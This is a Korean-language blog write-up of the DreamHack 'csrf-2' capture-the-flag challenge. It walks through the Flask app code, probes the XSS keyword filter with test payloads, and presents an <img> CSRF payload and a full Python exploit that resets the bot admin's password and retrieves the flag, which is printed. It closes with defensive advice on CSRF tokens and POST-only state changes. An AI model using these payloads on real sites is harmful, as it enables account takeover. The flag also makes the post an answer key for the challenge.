[๐Ÿฅ‰ Bronze 3] img ํ•œ ์ค„๋กœ ๋ด‡์„ ์‹œ์ผœ admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฐ”๊พธ๊ธฐ โ€” DreamHack csrf-2 ํ’€์ด

2026-06-21ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 3] img ํ•œ ์ค„๋กœ ๋ด‡์„ ์‹œ์ผœ admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฐ”๊พธ๊ธฐ โ€” DreamHack csrf-2 ํ’€์ด

admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ณง FLAG์ธ๋ฐ, ์ง์ ‘ ์•Œ์•„๋‚ผ ๋ฐฉ๋ฒ•์€ ์—†๋‹ค. ๋Œ€์‹  127.0.0.1์—์„œ admin ์„ธ์…˜์œผ๋กœ ๋„๋Š” ๋ด‡์—๊ฒŒ /change_password๋ฅผ ๋Œ€์‹  ํ˜ธ์ถœํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉด admin ๋น„๋ฒˆ์„ ๋‚ด๊ฐ€ ์ •ํ•œ ๊ฐ’์œผ๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค. scriptยทframeยทon์„ ๋ง‰๋Š” ํ•„ํ„ฐ๋Š” img ํƒœ๊ทธ ํ•œ ์ค„๋กœ ํ†ต๊ณผํ•˜๊ณ , ๋ฐ”๋€ ๋น„๋ฒˆ์œผ๋กœ admin ๋กœ๊ทธ์ธํ•ด flag๋ฅผ ํšŒ์ˆ˜ํ•œ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” csrf-2 ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 3 FLAG: DH{c57d0dc12bb9ff023faf9a0e2b49e470a77271ef}

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” vuln(csrf)ยทflagยทlogin ์„ธ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ํ•œ ์ค„์”ฉ
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” vuln(csrf)ยทflagยทlogin ์„ธ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ํ•œ ์ค„์”ฉ

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…csrf-2
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 3
๋ถ„๋ฅ˜Web (CSRF)
์ŠคํƒFlask + Selenium(Chromium) ๋ด‡
์ œ๊ณตapp.py ๋‹จ์ผ ํŒŒ์ผ + ๋ผ์ด๋ธŒ ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ๋ถ€์ž‘์šฉ ์žˆ๋Š” GET(/change_password) + ํ•„ํ„ฐ๋ฅผ ํ†ต๊ณผํ•˜๋Š” <img> CSRF

csrf-1๊ณผ ๊ณจ๊ฒฉ์€ ๊ฐ™๋‹ค. 127.0.0.1์—์„œ admin ์„ธ์…˜์„ ๋“ค๊ณ  ๋„๋Š” ๋ด‡์ด ์žˆ๊ณ , ๋‚ด๊ฐ€ ๋„ฃ์€ ๋ฌธ์ž์—ด์ด ๋ด‡์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ๊ทธ๋Œ€๋กœ ๋ Œ๋”๋œ๋‹ค.

๋‹ค๋ฅธ ๊ฑด ๋ฌด์—‡์„ ์‹œํ‚ค๋А๋ƒ๋‹ค. csrf-1์€ ๋ด‡์—๊ฒŒ ๋‚ด๋ถ€ ์ „์šฉ /admin์„ ํ˜ธ์ถœ์‹œ์ผœ flag๋ฅผ memo์— ์ ๊ฒŒ ํ–ˆ๋‹ค. csrf-2์—” ๊ทธ๋Ÿฐ ์นœ์ ˆํ•œ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์—†๋‹ค. ๋Œ€์‹  admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ณง FLAG์ด๊ณ , ๋น„๋ฒˆ์„ ๋ฐ”๊พธ๋Š” /change_password๊ฐ€ GET ํ•œ ๋ฒˆ์œผ๋กœ ๋™์ž‘ํ•œ๋‹ค.

๊ทธ๋ž˜์„œ ํ๋ฆ„์€ ์ด๋ ‡๊ฒŒ ๋œ๋‹ค โ€” ๋ด‡์—๊ฒŒ /change_password?pw=๋‚ด๊ฐ€์•„๋Š”๊ฐ’์„ ํ˜ธ์ถœํ•˜๊ฒŒ ๋งŒ๋“ค์–ด admin ๋น„๋ฒˆ์„ ๋ฎ์–ด์“ฐ๊ณ , ๊ทธ ๋น„๋ฒˆ์œผ๋กœ admin ๋กœ๊ทธ์ธํ•ด์„œ index์— ์ฐํžˆ๋Š” flag๋ฅผ ์ฝ๋Š”๋‹ค.

๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์ด ๋ฌธ์ œ์˜ ๋ด‡์€ ์–ด๋–ป๊ฒŒ ๋„๋Š”๊ฐ€

app.py์—์„œ ๋ด‡์„ ๋„์šฐ๋Š” ๋ถ€๋ถ„๋ถ€ํ„ฐ ๋ณธ๋‹ค. flag๋ฅผ POSTํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ Selenium ํฌ๋กฌ์„ ํ•˜๋‚˜ ๋„์šฐ๊ณ , admin ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ์‹ฌ์€ ์ฑ„ ๋‚ด๊ฐ€ ์ค€ ์ฃผ์†Œ๋ฅผ ๋ฐฉ๋ฌธํ•œ๋‹ค.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    ...
    driver.get("http://127.0.0.1:8000/")
    driver.add_cookie(cookie)      # โ† ์—ฌ๊ธฐ์— admin sessionid ๊ฐ€ ๋“ค์–ด์˜จ๋‹ค
    driver.get(url)                # โ† ๋‚ด๊ฐ€ ์ง€์ •ํ•œ URL ๋ฐฉ๋ฌธ
 
def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_csrf๋Š” param์„ /vuln?param=...์— ๋ถ™์—ฌ ๋ด‡์—๊ฒŒ ์—ด๊ฒŒ ํ•œ๋‹ค. ๊ทธ ์ฟ ํ‚ค๊ฐ€ ๋ฌด์—‡์ธ์ง€๋Š” /flag ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋ณด๋ฉด ๋‚˜์˜จ๋‹ค.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'        # โ† ๋ด‡ ์„ธ์…˜ = admin
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

๋‚ด๊ฐ€ /flag์— param์„ POSTํ•˜๋ฉด, ์„œ๋ฒ„๋Š” ๋งค๋ฒˆ ์ƒˆ ์„ธ์…˜ ํ•˜๋‚˜๋ฅผ ๋งŒ๋“ค์–ด session_storage[session_id] = 'admin' ์œผ๋กœ admin์— ๋ฌถ๊ณ , ๊ทธ ์ฟ ํ‚ค๋ฅผ ๋“  ๋ด‡์—๊ฒŒ /vuln?param=<๋‚ด ์ž…๋ ฅ>์„ ๋ฐฉ๋ฌธ์‹œํ‚จ๋‹ค. ์ฆ‰ ๋‚ด ์ž…๋ ฅ์ด admin ๊ถŒํ•œ ๋ธŒ๋ผ์šฐ์ € ์•ˆ์—์„œ ๋ Œ๋”๋œ๋‹ค. CSRF๊ฐ€ ์„ฑ๋ฆฝํ•˜๋Š” ๋ฌด๋Œ€๊ฐ€ ์ •ํ™•ํžˆ ์—ฌ๊ธฐ๋‹ค.

๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” ๋ผ์šฐํŠธ 4๊ฐœ์™€ ๊ทธ ์‚ฌ์ด์˜ ํ‹ˆ

๋‚˜๋จธ์ง€ ๋ผ์šฐํŠธ๋ฅผ ํ•ต์‹ฌ๋งŒ ์ถ”๋ฆฐ๋‹ค.

users = {
    'guest': 'guest',
    'admin': FLAG            # โ† admin ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ณง FLAG
}
 
@app.route("/")
def index():
    ...
    return render_template('index.html',
        text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
 
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param             # โ† ํ•„ํ„ฐ ํ›„ ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ
 
@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    username = session_storage[session_id]   # ์š”์ฒญ์ž = ๋ด‡์ด๋ฉด admin
    users[username] = pw                      # โ† GET ํ•œ ๋ฒˆ์œผ๋กœ ๋น„๋ฒˆ ๋ณ€๊ฒฝ
    return 'Done'

์„ธ ๊ฐ€์ง€๊ฐ€ ๋ˆˆ์— ๋“ค์–ด์˜จ๋‹ค.

  • index: admin์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด flag is <FLAG>๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ•์•„์ค€๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋ชฉํ‘œ๋Š” ๋‹จ์ˆœํ•˜๋‹ค โ€” admin์œผ๋กœ ๋กœ๊ทธ์ธ๋งŒ ํ•˜๋ฉด ๋œ๋‹ค.

  • /change_password: ์š”์ฒญ์ž ์„ธ์…˜์˜ username ๋น„๋ฒˆ์„ pw๋กœ ๋ฐ”๊พผ๋‹ค. CSRF ๋ฐฉ์–ด ํ† ํฐ์ด ์ „ํ˜€ ์—†๊ณ , ๋ถ€์ž‘์šฉ์ด ์žˆ๋Š”๋ฐ๋„ GET์ด๋‹ค. ๋ด‡(admin)์ด ์ด URL์„ ํ•œ ๋ฒˆ GETํ•˜๋ฉด admin ๋น„๋ฒˆ์ด ๋ฐ”๋€๋‹ค.

  • /vuln: param์„ lower() ํ›„ frameยทscriptยทon์„ *๋กœ ์น˜ํ™˜ํ•˜๊ณ  ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌํ•œ๋‹ค. ์ฝ”๋“œ ์‹คํ–‰์€ ๋ง‰์ง€๋งŒ, ๋ถ€์ž‘์šฉ์„ ์ผ์œผํ‚ค๋Š” ๋ฐ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋Š” ํ•„์š” ์—†๋‹ค.

ํ•„ํ„ฐ๊ฐ€ ์‹ค์ œ๋กœ ๋ฌด์—‡์„ ๋ง‰๊ณ  ๋ฌด์—‡์„ ํ†ต๊ณผ์‹œํ‚ค๋Š”์ง€ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ์ง์ ‘ ์ฐ”๋Ÿฌ๋ดค๋‹ค.

# probe.py โ€” /vuln ํ•„ํ„ฐ๊ฐ€ ๋ฌด์—‡์„ ๋ง‰๊ณ  ํ†ต๊ณผ์‹œํ‚ค๋Š”์ง€ ํ™•์ธ
import requests
B = "http://host3.dreamhack.games:11571"
tests = [
    '<img src="/change_password?pw=x">',   # CSRF ํŽ˜์ด๋กœ๋“œ โ€” ํ•„ํ„ฐ ํ†ต๊ณผ ์˜ˆ์ƒ
    '<script>alert(1)</script>',           # script ์ฐจ๋‹จ
    '<img src=x onerror=alert(1)>',        # on ์ฐจ๋‹จ
    '<iframe src=x>',                      # frame ์ฐจ๋‹จ
]
for t in tests:
    r = requests.get(f"{B}/vuln", params={"param": t}, timeout=10)
    print(f"๋ณด๋‚ธ param : {t}")
    print(f"๋ฐ˜์‚ฌ ๊ฒฐ๊ณผ  : {r.text}\n")
probe.py โ€” img๋Š” ๊ทธ๋Œ€๋กœ ํ†ต๊ณผ, scriptยทonยทframe๋งŒ ๋ณ„ํ‘œ๋กœ ๋ญ‰๊ฐœ์ง„๋‹ค
probe.py โ€” img๋Š” ๊ทธ๋Œ€๋กœ ํ†ต๊ณผ, scriptยทonยทframe๋งŒ ๋ณ„ํ‘œ๋กœ ๋ญ‰๊ฐœ์ง„๋‹ค

<img src="/change_password?pw=x">๋Š” ๊ธ€์ž ํ•˜๋‚˜ ์•ˆ ๋ฐ”๋€Œ๊ณ  ํ†ต๊ณผํ•œ๋‹ค. ๋ฐ˜๋ฉด script๋Š” <*>๋กœ, onerror๋Š” *error๋กœ, iframe์€ <i*>๋กœ ๊นจ์ง„๋‹ค. ๊ณต๊ฒฉ์— ํ•„์š”ํ•œ ๊ฑด ๋ด‡์˜ GET ์š”์ฒญ ํ•œ ๋ฒˆ๋ฟ์ด๋‹ˆ, ํ•„ํ„ฐ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š” <img> ํ•œ ์ค„์ด๋ฉด ์ถฉ๋ถ„ํ•˜๋‹ค.

๐Ÿ› ์‚ฝ์งˆ โ€” script๋กœ ํ’€๋ ค๋‹ค ํ•„ํ„ฐ์— ๋ง‰ํžˆ๊ธฐ

์ฒ˜์Œ์—” csrf ๋ฌธ์ œ๋ผ๋Š” ๊ฑธ ์•Œ๋ฉด์„œ๋„ ์Šต๊ด€์ฒ˜๋Ÿผ <script>๋ถ€ํ„ฐ ๊บผ๋ƒˆ๋‹ค. ๋ด‡ ์ฟ ํ‚ค๋ฅผ ๋นผ๋‚ด๊ฑฐ๋‚˜ fetch('/change_password?pw=1234')๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ ค ํ–ˆ๋Š”๋ฐ, ํ•„ํ„ฐ๊ฐ€ script์™€ on์„ ๋‘˜ ๋‹ค ๋ง‰์•„ ์†์ด ๋ฌถ์˜€๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” script / onerror ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์–ด๋–ป๊ฒŒ ๊นจ์ง€๋‚˜

ํ•„ํ„ฐ๋Š” ๋‹จ์ˆœ ๋ฌธ์ž์—ด ์น˜ํ™˜์ด๋ผ ์šฐํšŒ ์—ฌ์ง€๊ฐ€ ์žˆ์–ด ๋ณด์ด์ง€๋งŒ, param์ด ๋จผ์ € .lower()๋กœ ์†Œ๋ฌธ์žํ™”๋˜๊ธฐ ๋•Œ๋ฌธ์— ScRiPt ๊ฐ™์€ ๋Œ€์†Œ๋ฌธ์ž ํŠธ๋ฆญ์€ ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค. ์•„๋ž˜๋Š” ํ”ํ•œ ํŽ˜์ด๋กœ๋“œ๋“ค์ด ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹ค์ œ๋กœ ์–ด๋–ป๊ฒŒ ๋ง๊ฐ€์ง€๋Š”์ง€๋‹ค.

์ž…๋ ฅ                              โ†’  /vuln ์ถœ๋ ฅ
<script>...</script>                 โ†’  <*>...</*>          (script ์ œ๊ฑฐ)
<img src=x onerror=...>              โ†’  <img src=x *error=...>(on ์ œ๊ฑฐ โ†’ ํ•ธ๋“ค๋Ÿฌ ๋ฌดํšจ)
<iframe src=...>                     โ†’  <i* src=...>         (frame ์ œ๊ฑฐ โ†’ ํƒœ๊ทธ ๊นจ์ง)

onerror/onload์ฒ˜๋Ÿผ on์œผ๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋Š” ์ „๋ถ€ *error/*load๋กœ ๋ณ€ํ•ด ์ฃฝ๋Š”๋‹ค. ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ๊ฒฝ์œ ํ•˜๋Š” ๊ธธ์€ ๋‹ค ๋ง‰ํžŒ ์…ˆ์ด๋‹ค.

ํ•„ํ„ฐ๊ฐ€ scriptยทiframeยทonerror๋ฅผ ์ „๋ถ€ ๋ณ„ํ‘œ๋กœ ๋ญ‰๊ฐ  ํ™”๋ฉด
ํ•„ํ„ฐ๊ฐ€ scriptยทiframeยทonerror๋ฅผ ์ „๋ถ€ ๋ณ„ํ‘œ๋กœ ๋ญ‰๊ฐ  ํ™”๋ฉด

๋ง‰ํžˆ๊ณ  ๋‚˜์„œ์•ผ ์ „์ œ๋ฅผ ๋‹ค์‹œ ๋ดค๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์ฝ”๋“œ ์‹คํ–‰์ด ๋ชฉํ‘œ๊ฐ€ ์•„๋‹ˆ๋‹ค. ๋น„๋ฒˆ์„ ๋ฐ”๊พธ๋Š” ๊ฑด ์„œ๋ฒ„์˜ /change_password ํ•ธ๋“ค๋Ÿฌ๊ณ , ๊ทธ๊ฑธ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๊ฑด ๋ด‡์ด ๋ณด๋‚ด๋Š” GET ์š”์ฒญ ํ•œ ๋ฒˆ๋ฟ์ด๋‹ค. ํ•ธ๋“ค๋Ÿฌ๋„ ์ด๋ฒคํŠธ๋„ ํ•„์š” ์—†๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์•„์˜ˆ ํ•„์š” ์—†๊ณ , ํ•„ํ„ฐ๊ฐ€ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š” <img>๋กœ ์ถฉ๋ถ„ํ•˜๋‹ค.

๐Ÿ’ฃ ํ•ต์‹ฌ โ€” img ํ•œ ์ค„๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ CSRF

ํŽ˜์ด๋กœ๋“œ๋Š” ์ด ํ•œ ์ค„์ด๋‹ค.

<img src="/change_password?pw=pwned1234">
  • scriptยทframeยทon ์–ด๋””์—๋„ ์•ˆ ๊ฑธ๋ ค ํ•„ํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•œ๋‹ค.
  • ๋ด‡์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ด <img>๋ฅผ ๋งŒ๋‚˜๋ฉด src๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  /change_password?pw=pwned1234๋ฅผ ์ž๋™์œผ๋กœ GETํ•œ๋‹ค.
  • ๊ทธ ์š”์ฒญ์—” ๋ด‡์˜ admin sessionid ์ฟ ํ‚ค๊ฐ€ ๋™๋ด‰๋˜๋‹ˆ, ์„œ๋ฒ„ ์ž…์žฅ์—์„  admin์ด ์ง์ ‘ ๋น„๋ฒˆ์„ ๋ฐ”๊พผ ์…ˆ์ด ๋œ๋‹ค โ†’ users['admin'] = 'pwned1234'.

์ „์ฒด ํ๋ฆ„์„ ๊ทธ๋ฆผ์œผ๋กœ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

csrf-2 ๊ณต๊ฒฉ ํ๋ฆ„ โ€” POST /flag ๋กœ ๋ด‡์„ ๋„์šฐ๊ณ , ๋ด‡์ด img๋ฅผ ๋กœ๋“œํ•˜๋ฉฐ /change_password๋ฅผ GET, admin ๋น„๋ฒˆ์ด ๋ฐ”๋€ ๋’ค ๋‚ด๊ฐ€ admin์œผ๋กœ ๋กœ๊ทธ์ธ
csrf-2 ๊ณต๊ฒฉ ํ๋ฆ„ โ€” POST /flag ๋กœ ๋ด‡์„ ๋„์šฐ๊ณ , ๋ด‡์ด img๋ฅผ ๋กœ๋“œํ•˜๋ฉฐ /change_password๋ฅผ GET, admin ๋น„๋ฒˆ์ด ๋ฐ”๋€ ๋’ค ๋‚ด๊ฐ€ admin์œผ๋กœ ๋กœ๊ทธ์ธ

<img>์˜ src๊ฐ€ ์ด๋ฏธ์ง€๊ฐ€ ์•„๋‹ˆ์–ด๋„ ์ƒ๊ด€์—†๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋Š” ์ผ๋‹จ ๊ทธ ์ฃผ์†Œ๋กœ GET์„ ์˜๊ณ , ์‘๋‹ต์ด ์ด๋ฏธ์ง€๊ฐ€ ์•„๋‹ˆ๋ฉด ๊นจ์ง„ ์ด๋ฏธ์ง€ ์•„์ด์ฝ˜๋งŒ ๋„์šธ ๋ฟ์ด๋‹ค. ์šฐ๋ฆฌ์—๊ฒŒ ํ•„์š”ํ•œ ๊ฑด ์ด๋ฏธ์ง€๊ฐ€ ์•„๋‹ˆ๋ผ ๊ทธ GET ์š”์ฒญ ์ž์ฒด๋‹ค.

๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ๋ด‡์„ ์‹œ์ผœ ๋น„๋ฒˆ์„ ๋ฎ์–ด์“ฐ๊ธฐ

๊ณต๊ฒฉ์— ์“ฐ๋Š” ์ž…๋ ฅ ํผ์€ /flag๋‹ค. http://127.0.0.1:8000/vuln?param= ๋’ค์— ๋ถ™์ผ ๊ฐ’์„ ๋ฐ›๋Š”๋‹ค.

/flag โ€” param ์ž…๋ ฅ ํผ. ์—ฌ๊ธฐ ๋„ฃ์€ ๊ฐ’์ด ๋ด‡์˜ admin ๋ธŒ๋ผ์šฐ์ €์—์„œ /vuln ์œผ๋กœ ๋ Œ๋”๋œ๋‹ค
/flag โ€” param ์ž…๋ ฅ ํผ. ์—ฌ๊ธฐ ๋„ฃ์€ ๊ฐ’์ด ๋ด‡์˜ admin ๋ธŒ๋ผ์šฐ์ €์—์„œ /vuln ์œผ๋กœ ๋ Œ๋”๋œ๋‹ค

์—ฌ๊ธฐ์— <img src="/change_password?pw=pwned1234">๋ฅผ POSTํ•˜๋ฉด, ๋ด‡์ด /vuln์—์„œ ์ด ํƒœ๊ทธ๋ฅผ ๋ Œ๋”ํ•˜๋ฉด์„œ src๋ฅผ ๋กœ๋“œํ•œ๋‹ค. ๋ด‡ ์‹œ์ ์—์„œ ์–ด๋–ค ์ผ์ด ๋ฒŒ์–ด์ง€๋Š”์ง€๋Š” ๊ฐ™์€ URL์„ ๋ธŒ๋ผ์šฐ์ €๋กœ ์ง์ ‘ ์—ด์–ด ๋ณด๋ฉด ๋ณด์ธ๋‹ค โ€” <img>๊ฐ€ /change_password๋ฅผ GETํ•˜๋ ค๋‹ค ์‘๋‹ต์ด ์ด๋ฏธ์ง€๊ฐ€ ์•„๋‹ˆ๋ผ ๊นจ์ง„ ์•„์ด์ฝ˜์ด ๋œฌ๋‹ค.

๋ด‡์ด ๋ณด๋Š” /vuln ํ™”๋ฉด โ€” img๊ฐ€ /change_password?pw=pwned1234 ๋ฅผ GETํ•˜๊ณ  ๊นจ์ง„ ์ด๋ฏธ์ง€๋กœ ๋‚จ๋Š”๋‹ค
๋ด‡์ด ๋ณด๋Š” /vuln ํ™”๋ฉด โ€” img๊ฐ€ /change_password?pw=pwned1234 ๋ฅผ GETํ•˜๊ณ  ๊นจ์ง„ ์ด๋ฏธ์ง€๋กœ ๋‚จ๋Š”๋‹ค

์ด GET ํ•œ ๋ฒˆ์œผ๋กœ users['admin']์ด pwned1234๋กœ ๋ฐ”๋€Œ์—ˆ๋‹ค. ์ด์ œ ๊ทธ ๋น„๋ฒˆ์œผ๋กœ ๋กœ๊ทธ์ธ ํผ์— admin์„ ๋„ฃ๋Š”๋‹ค.

/login โ€” admin / pwned1234 ๋กœ ๋กœ๊ทธ์ธ
/login โ€” admin / pwned1234 ๋กœ ๋กœ๊ทธ์ธ

๋กœ๊ทธ์ธ์ด ์„ฑ๊ณตํ•˜๋ฉด admin์— ๋ฌถ์ธ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ๋ฐ›๊ณ , index๊ฐ€ flag๋ฅผ ๊ทธ๋Œ€๋กœ ์ฐ์–ด์ค€๋‹ค.

admin ๋กœ๊ทธ์ธ ์งํ›„ index โ€” Hello admin, flag ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋œ๋‹ค
admin ๋กœ๊ทธ์ธ ์งํ›„ index โ€” Hello admin, flag ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋œ๋‹ค

๐Ÿš€ Full Exploit

์œ„ ๊ณผ์ •์„ ํ•œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ฌถ์—ˆ๋‹ค. CSRF payload ์ „์†ก โ†’ ๋ฐ”๋€ ๋น„๋ฒˆ์œผ๋กœ admin ๋กœ๊ทธ์ธ โ†’ index์—์„œ flag ์ถ”์ถœ๊นŒ์ง€ ์ž๋™์œผ๋กœ ๋ˆ๋‹ค.

#!/usr/bin/env python3
import sys, re, requests
 
BASE = "http://host3.dreamhack.games:11571"
NEW_PW = "pwned1234"
 
s = requests.Session()
# 1) CSRF payload ์ „์†ก โ†’ ๋ด‡(admin)์ด /change_password ๋ฅผ ๋Œ€์‹  ํ˜ธ์ถœ
payload = f'<img src="/change_password?pw={NEW_PW}">'
r = s.post(f"{BASE}/flag", data={"param": payload}, timeout=15)
print("[*] /flag POST ->", r.status_code, repr(r.text.strip()[:60]))
 
# 2) ๋ฐ”๋€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ admin ๋กœ๊ทธ์ธ
s2 = requests.Session()
r = s2.post(f"{BASE}/login",
            data={"username": "admin", "password": NEW_PW},
            allow_redirects=False, timeout=15)
print("[*] /login  ->", r.status_code, "set-cookie:", r.headers.get("Set-Cookie"))
if "sessionid" not in (r.headers.get("Set-Cookie") or ""):
    sys.exit("[!] ๋กœ๊ทธ์ธ ์‹คํŒจ โ€” payload ๋ฏธ๋ฐ˜์˜")
 
# 3) index ์—์„œ flag ํšŒ์ˆ˜
r = s2.get(f"{BASE}/", timeout=15)
m = re.search(r"DH\{[^}]*\}", r.text)
print("\nFLAG:", m.group(0) if m else "(๋ฏธ๊ฒ€์ถœ)")
solve.py ์‹คํ–‰ โ€” /flag POST good โ†’ admin ๋กœ๊ทธ์ธ 302 โ†’ index ์—์„œ flag ํšŒ์ˆ˜
solve.py ์‹คํ–‰ โ€” /flag POST good โ†’ admin ๋กœ๊ทธ์ธ 302 โ†’ index ์—์„œ flag ํšŒ์ˆ˜
FLAG: DH{c57d0dc12bb9ff023faf9a0e2b49e470a77271ef}

๐Ÿ“ ๊ฒฐ๋ก 

๋ถ€์ž‘์šฉ์ด ์žˆ๋Š” ๋™์ž‘์„ GET์œผ๋กœ ๋‘๋ฉด CSRF์˜ ์ž…๊ตฌ๊ฐ€ ๋œ๋‹ค.

/change_password๋Š” ์„œ๋ฒ„ ์ƒํƒœ(๋น„๋ฐ€๋ฒˆํ˜ธ)๋ฅผ ๋ฐ”๊พธ๋Š”๋ฐ๋„ GET์ด๊ณ , ์š”์ฒญ์„ ๋ณด๋‚ธ ๊ฒŒ ์ •๋ง ๋ณธ์ธ์ธ์ง€ ํ™•์ธํ•˜๋Š” ์žฅ์น˜๊ฐ€ ํ•˜๋‚˜๋„ ์—†์—ˆ๋‹ค. ๊ทธ๋ž˜์„œ <img> ํ•œ ์ค„์— ๋Œ๋ ค๊ฐ€๋Š” ๋ด‡์˜ ๋‹จ์ˆœ GET์ด ๊ณง "admin์ด ๋น„๋ฒˆ์„ ๋ฐ”๊ฟจ๋‹ค"๋กœ ๋‘”๊ฐ‘ํ•œ๋‹ค.

์ƒํƒœ๋ฅผ ๋ฐ”๊พธ๋Š” ์š”์ฒญ์€ POST๋กœ, ๊ทธ๋ฆฌ๊ณ  CSRF ํ† ํฐ์œผ๋กœ ์ถœ์ฒ˜๋ฅผ ๊ฒ€์ฆํ•ด์•ผ ํ•œ๋‹ค.

๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝยท๊ฒฐ์ œยท๊ถŒํ•œ ๋ณ€๊ฒฝ์ฒ˜๋Ÿผ ๋ถ€์ž‘์šฉ ์žˆ๋Š” ๋™์ž‘์€ POST(๋˜๋Š” ๊ทธ ์ด์ƒ)๋กœ ๋ฐ›๊ณ , ํผ๋งˆ๋‹ค ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ CSRF ํ† ํฐ์„ ์‹ฌ์–ด ์„œ๋ฒ„๊ฐ€ ๊ฒ€์ฆํ•ด์•ผ ํ•œ๋‹ค. ํ† ํฐ์ด ์—†์œผ๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ๋งŒ๋“  ํŽ˜์ด์ง€(ํ˜น์€ ์—ฌ๊ธฐ์ฒ˜๋Ÿผ ๋ฐ˜์‚ฌ๋œ <img>)๊ฐ€ ํ”ผํ•ด์ž ๊ถŒํ•œ์œผ๋กœ ์š”์ฒญ์„ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๋‹ค.

์„ธ์…˜ ์ฟ ํ‚ค์—” SameSite๋ฅผ, ๊ทธ๋ฆฌ๊ณ  ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ํ•„ํ„ฐ๋ฅผ ์‹ ๋ขฐํ•˜์ง€ ๋ง ๊ฒƒ.

